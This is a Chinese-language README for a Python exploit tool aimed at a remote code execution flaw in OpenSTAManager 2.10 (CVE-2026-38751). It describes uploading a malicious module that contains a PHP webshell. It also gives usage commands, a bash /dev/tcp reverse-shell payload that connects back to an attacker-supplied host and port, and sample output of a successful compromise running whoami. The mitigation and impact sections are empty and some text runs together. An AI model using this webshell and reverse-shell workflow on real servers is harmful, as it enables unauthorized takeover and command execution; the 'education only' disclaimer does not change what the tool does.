
OpenSTAManager RCE漏洞利用 (CVE-2026-38751)
此 Python 脚本利用 OpenSTAManager 2.10 版本中的一个远程代码执行漏洞,编号为 CVE-2026-38751。该利用工具允许经过身份验证的用户上传恶意模块并在目标系统上执行任意命令。
该利用工具遵循以下步骤:
MODULE)shell.php),通过 GET 参数 c 执行命令requests、zipfilepython3 exploit.py -u http://target.com -U admin -P password
python3 exploit.py -u http://target.com -U admin -P password --interactive
python3 exploit.py -u http://target.com -U admin -P password --lhost 10.10.14.180 --lport 4444
shell/MODULE:模块配置文件shell/shell.php:PHP Webshell,通过 GET 参数 c 执行命令id)测试上传的 Shell 是否正常工作该利用工具尝试多种反弹 Shell 载荷:
bash -i >& /dev/tcp/{lhost}/{lport} 0>&1⚠️ 免责声明:此利用工具仅供教育和授权安全测试目的使用。
此漏洞允许:
为防范此漏洞:
[ OpenSTAManager RCE 利用工具 : ]
目标:http://target.com
[*] 步骤 1:登录...
[+] 登录成功:admin
[*] 步骤 2:启用更新...
[+] 更新已启用
[*] 步骤 3:创建 ZIP...
[*] 创建内存中的 ZIP 文件
[*] Shell 位置:/modules/shell/shell.php
[*] 步骤 4:上传...
[*] 上传状态:200
[+] 上传成功
[*] 步骤 5:验证...
[+] 漏洞确认!
[+] Shell:http://target.com/modules/shell/shell.php
[+] 测试:http://target.com/modules/shell/shell.php?c=whoami
[*] 进入交互模式...
cmd> whoami
www-data
cmd> exit
此利用工具仅供教育目的使用。未经授权对不属于您或未经明确许可的系统进行使用是违法的。
| 参数 | 描述 |
|---|
-u, --url | 目标 URL(必需) |
-U, --user | 身份验证用户名(必需) |
-P, --password | 身份验证密码(必需) |
--interactive | 进入交互式 Shell 模式 |
--no-cleanup | 执行后不删除 Shell 文件 |
--lhost | 反弹 Shell 的本地主机 |
--lport | 反弹 Shell 的本地端口 |